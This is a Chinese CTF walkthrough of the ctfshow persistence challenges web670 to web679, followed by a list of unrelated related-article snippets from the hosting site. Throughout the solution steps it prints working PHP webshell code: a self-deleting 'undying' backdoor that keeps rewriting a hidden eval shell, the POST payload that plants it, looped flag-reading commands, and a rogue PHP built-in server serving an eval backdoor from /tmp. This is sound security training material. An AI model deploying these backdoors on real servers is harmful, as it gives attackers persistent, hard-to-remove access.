ctfshow權限維持

1,web670

我們先看一下這個php代碼

error_reporting(0);#關閉錯誤報告
highlight_file(__FILE__);#內容高亮顯示$a=$_GET['action'];#get傳參switch($a){case 'cmd':eval($_POST['cmd']);break;case 'check':file_get_contents("http://checker/api/check");#獲取url中的內容break;default:die('params not validate');#die函數會輸出指定的字符串并終止腳本運行
}params not validate
<?php
switch (expression) {case value1:// 代碼塊1break;case value2:// 代碼塊2break;// 更多的 case 語句default:// 如果沒有匹配的值
}
?>expression 是要被比較的表達式。case value: 是可能的值,如果 expression 的值等于某個 case 的值,就執行相應的代碼塊。break; 用于終止 switch 語句,防止繼續執行下一個 case。default: 是可選的,用于指定當沒有匹配的 case 時執行的代碼塊。

通過上面的代碼可以看出,我們提交check會獲取check的內容

我們先通過cmd執行命令

查看一下phpinfo

看一下有沒有禁用函數

發現沒有

使用file_put_contents函數寫文件

執行一下check試試

執行之后頁面就變成403了

剛剛寫的木馬也沒有了

應該是訪問check,會執行里面的命令將整個html文件夾刪除

通過寫入不死馬,繞過它的刪除

如果文件刪除方式是rm -rf *

可以利用它的缺陷,它無法刪除點號開頭的文件

成功寫入,進行測試

文件還是沒了,用的不是rm -rf * 的刪除方式

只能使用不死馬了

先介紹一下不死馬

不死馬腳本常駐內存:不死馬腳本通過設置ignore_user_abort(true)和set_time_limit(0),使得腳本在執行時忽略用戶中斷,并且沒有時間限制
循環生成木馬文件:腳本會不斷循環生成指定的木馬文件,即使管理員刪除了木馬文件,腳本也會繼續生成。
刪除自身文件:為了隱藏痕跡,不死馬腳本通常會在執行后刪除自身文件特點。難以刪除:由于腳本常駐內存,即使刪除了生成的木馬文件,腳本仍會繼續生成新的木馬文件。
隱蔽性高:通過刪除自身文件和生成隱藏文件(如以.開頭的文件),增加發現難度。
權限維持:常用于在服務器上維持攻擊者的訪問權限。

簡單來說,不死馬就是在執行的時候會先將自己刪除,但它下面會有一個無線循環一直創建一句話木馬。

我們看一下簡單的不死馬

<?phpignore_user_abort(true);#忽略用戶中斷set_time_limit(0);#設置無時間限制,一直執行unlink(__FILE__);#刪除自身文件$file = '.shell.php'; 要生成的文件名$code = '<?php @eval($_POST[1]);?>'; #一句話木馬while (1) {file_put_contents($file, $code);#寫入木馬文件,前面是文件名,后面是內容usleep(5000);#延遲時間}
?>

寫入不死馬

GET:?action=cmdPOST:cmd=file_put_contents('1.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'.shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

然后訪問1.php,然后訪問一下生成的木馬,然后訪問check

訪問木馬

讀取flag

如果題目出網的話,可以試試反彈shell

2,wen671

和上一題差不多,直接上傳不死馬試試

這一次flag跑到根目錄下面了

3,web672

和上面的題沒什么區別,不過做了才知道

沒問題,繼續按照上面的步驟執行

還是在根目錄下面

4,web673

還是一樣繼續不死馬

沒有訪問check,沒生成呢

5,web674

還是一樣繼續

6,web675

一樣繼續

7,web676

還是一樣繼續

8,web677

和上面的差不多,寫不死馬

發現寫不進去了

通過前面,不死馬的特性,我們可以知道,雖然訪問http://checker/api/check,會刪除文件,但無法殺死進程,我們可以通過執行無限循環的代碼獲取flag

while循環及應用shell腳本之十:while循環及應用實踐 - cuiyongchao007 - 博客園

我們構造一下

system('while true;do cat /f*;done');

通過while無限循環,讀取根目錄下的f開頭的文件,如果知道完整路徑可以將它寫到一個文件中

也可以通過延時的方法讀取文件

system('sleep 10;cat /f*');

先執行循環

再訪問check

需要等個一分鐘才出來

建議使用延時的腳本

9,web678

使用延時腳本

如果10秒弄不好可以調成其他的

10,web679

訪問會停止一切web服務,那么我們需要在它停止的時候,再起來一個web服務

權限太低,啟動不了nginx和php-frm,但php存在內置的服務器

基本用法
在命令行中,可以通過以下命令啟動 PHP 內置服務器:
php -S <host>:<port> <router><host>:服務器綁定的主機地址,通常是 localhost 或 127.0.0.1。<port>:服務器監聽的端口號,例如 8000。<router>:一個 PHP 腳本文件,用于處理請求。如果省略,服務器會將所有請求映射到當前目錄下的文件。

/tmp目錄下可以寫文件,開啟php的命令,php -S 0.0.0.0:80

file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
一句話這里要用雙引號,$_POST[1]由于$被轉義了,所以原樣輸出
將一句話木馬寫入到index.php文件中,然后cd到tmp,延時10秒開啟php服務器,因為提前開啟的服務也會被關掉

404了

我們等待一會

執行命令

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/83142.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/83142.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/83142.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

力扣算法ing(71 / 100)

5.15 哈希表合集—349.兩個數組的交集 給定兩個數組 nums1 和 nums2 &#xff0c;返回 它們的 交集 。輸出結果中的每個元素一定是 唯一 的。我們可以 不考慮輸出結果的順序 。 示例 1&#xff1a; 輸入&#xff1a;nums1 [1,2,2,1], nums2 [2,2] 輸出&#xff1a;[2]示例…

(面試)Handler消息處理機制原理

Handler是用于實現線程間通信和任務調度的一種機&#xff08;Handler、 Looper、MessageQueue、 Message&#xff09;。Handler 允許線程間發送Message或Runnable對象進行通信。在Android中UI修改只能通過UI Thread&#xff0c;子線程不能更新UI。如果子線程想更新UI&#xff0…

Dify 實戰教程 | 5分鐘打造文本生成應用( Stable Diffusion 提示詞生成器)

AI 繪畫離不開「提示詞&#xff08;Prompt&#xff09;」——如何構造清晰、生動、有表現力的提示詞&#xff0c;直接決定你生成圖像的質量。而 Stable Diffusion 的提示詞構造相比 Midjourney 更加自由&#xff0c;但也更考驗組織語言的能力。 今天這篇教程&#xff0c;教你零…

RPC框架源碼分析學習(二)

RPC框架源碼分析與原理解讀 前言 在分布式系統開發中&#xff0c;遠程過程調用(RPC)是一項基礎且關鍵的技術。通過對KVstorageBaseRaft-cpp項目RPC模塊的源碼分析&#xff0c;我深入理解了RPC框架的工作原理和實現細節。本文將從程序員視角分享我的學習心得。 框架概述 本項…

當下流行的智能體通信協議:MCP、A2A、ANP 分別是什么?

在當前人工智能&#xff08;AI&#xff09;智能體生態系統中&#xff0c;智能體之間的有效溝通至關重要。為了讓AI智能體能夠高效、安全地協同工作&#xff0c;業界提出了多種通信協議。其中&#xff0c;MCP、A2A 和 ANP 代表了三個關鍵層級的通信協議&#xff0c;各自應對不同…

為什么 cout<<“中文你好“ 能正常輸出中文

一, 簡答: 受python3字符串模型影響得出的下文C字符串模型結論 是錯的&#xff01;C的字符串和python2的字符串模型類似&#xff0c;也就是普通的字符串是ASCII字符串和字節串兩種語義&#xff0c;類似重載或多態&#xff0c;有時候解釋為整數&#xff0c;有時候是字節串。Uni…

鴻蒙的卓易通,讓我踩了一次坑

前言 因為我本身對鴻蒙提不起興趣&#xff0c;哪怕有些文章給鴻蒙穿上了“黑絲”&#xff0c;再加上公司當前沒有適配鴻蒙的計劃&#xff0c;所以關于鴻蒙的消息我都關注的很少。 今早&#xff0c;看到了徐宜生老師的一篇文章&#xff1a;“鴻蒙卓易通&#xff0c;是飲鴆止渴…

Cursor vs VS Code vs Zed

代碼編輯器的世界已經迎來了創新的爆發。曾經由重量級IDE或基礎文本編輯器主導的領域,如今開發者們發現自己正在探索全新一波聚焦于AI集成、協作和性能的工具。 在本文中,我們將深入探討2025年三款流行的編輯器:Cursor、Visual Studio Code (VS Code)和Zed Code Editor。每…

使用 LiteFlow 實現靈活的業務邏輯解耦

1. 引言 1.1 業務邏輯復雜性帶來的挑戰 在現代軟件開發中,隨著業務需求不斷增長,代碼結構日趨復雜。硬編碼式的流程控制方式難以適應頻繁變更的需求,導致維護成本高、可讀性差、擴展性弱。 1.2 規則引擎在解耦中的作用 規則引擎(Rule Engine)通過將業務邏輯與程序代碼…

以項目的方式學QT開發(一)——超詳細講解(120000多字詳細講解,涵蓋qt大量知識)逐步更新!

以項目的方式學QT開發 以項目的方式學QT開發 P1 QT介紹 1.1 QT簡介 1.2 QT安裝 1.2.1 Windows QT安裝 1.2.2 QT Creator 使用基本介紹 P2 C基礎 2.1 命名空間 2.1.1 命名空間作用 2.1.2 自定義命名空間 2.2 從C語言快速入門 2.2.1 輸入輸出 2.2.2 基…

【前端】【css】【總復習】三萬字詳解CSS 知識體系

&#x1f308; CSS 知識體系目錄大綱 一、基礎知識入門 1. CSS 簡介與作用 CSS&#xff08;Cascading Style Sheets&#xff0c;層疊樣式表&#xff09;是一種用于給 HTML 頁面添加樣式的語言&#xff0c;作用是讓網頁更美觀、結構更清晰、布局更靈活。 核心作用&#xff1a;…

R利用spaa包計算植物/微生物的生態位寬度和重疊指數

一、生態位寬度 生態位寬度指數包括shannon生態位指數和levins生態位指數。下面是采用levins方法計算生態位寬度。method也可以選擇“shannon”。 二、生態位重疊指數 生態位重疊指數&#xff0c;包括levins生態位重疊指數、schoener生態位重疊指數、petrai…

【論信息系統項目的合同管理】

論信息系統項目的合同管理 論文要求寫作要點正文前言一、合同的簽訂管理二、合同履行管理三、合同變更管理四、合同檔案管理五、合同違約索賠管理結語 論文要求 項目合同管理通過對項目合同的全生命周期進行管理&#xff0c;來回避和減輕可識別的項目風險。 請以“論信息系統項…

最新網盤資源搜索系統,電視直播,Alist聚合播放

源碼描述&#xff1a; 本項目是基于Vue與Nuxt.js技術構建的網盤搜索項目&#xff0c;持續開源并維護更新。該項目旨在使每個人都能擁有屬于自己的網盤搜索網站。我們強烈建議用戶自行部署該項目。 更新日志&#xff1a; 新增TV播放功能新增Alist源聚合播放功能新增批量刪除功…

【Ubuntu】安裝BitComet種子下載器

環境 Ubuntu 24.04.2 下載依賴庫 環境比較新&#xff0c;此軟件需要依賴很多舊的庫&#xff0c;逐個安裝下載&#xff1a; 1.libicu70 http://nz.archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu70_70.1-2_amd64.deb2.libjavascriptcoregtk-4.0-18 http://security.ubu…

修復“ImportError: DLL load failed while importing lib: 找不到指定的程序”筆記

#工作記錄 一、問題描述 在運行CosyVoice_For_Windows項目時&#xff0c;出現以下報錯&#xff1a; Traceback (most recent call last): File "D:\ProgramData\anaconda3\envs\CosyVoice\Lib\pydoc.py", line 457, in safeimport module __import__(path) …

ubuntu18 設置靜態ip

百度 編輯/etc/netplan/01-netcfg.yaml 系統沒有就自己編寫 network: version: 2 renderer: networkd ethernets: eth0: dhcp4: no addresses: [192.168.20.8/24] # 設置你的IP地址和子網掩碼 gateway4: 192.168.20.1 # 網關地址 namese…

幀差法識別

定義&#xff1a; 視頻通過閃過x幀畫面來實現&#xff0c;幀差法就是利用兩幀之間的差異找出。也就是移動目標識別 幀差法識別步驟&#xff1a; 1、灰度處理&#xff1a;將多通道變成雙通道壓縮圖像數據。 cvtColor(before_frame,before_gray,CV_RGB2GRAY);cvtColor(after_f…

基于OAuth2+SpringSecurity+Jwt實現身份認證和權限管理后端服務

1、簡介 本文講述了如何實現簡易的后端鑒權服務。所謂“鑒權”&#xff0c;就是“身份鑒定”“權限判斷”。涉及的技術有&#xff1a;OAuth2、SpringSecurity、Jwt、過濾器、攔截器。OAuth2用于授權&#xff0c;使用Jwt簽發Access Token和Refresh Token&#xff0c;并管理token…

<C++> MFC自動關閉對話框(MessageBoxTimeout)

MFC自動關閉對話框&#xff08;MessageBoxTimeout&#xff09; 記錄一下今天在界面開發中的解決方案。自動關閉對話框有兩種方案&#xff1a; 1.使用定時器實現延遲關閉&#xff08;DeepSeek方案&#xff09; 提示框顯示幾秒后自動關閉&#xff0c;可以使用 SetTimer KillT…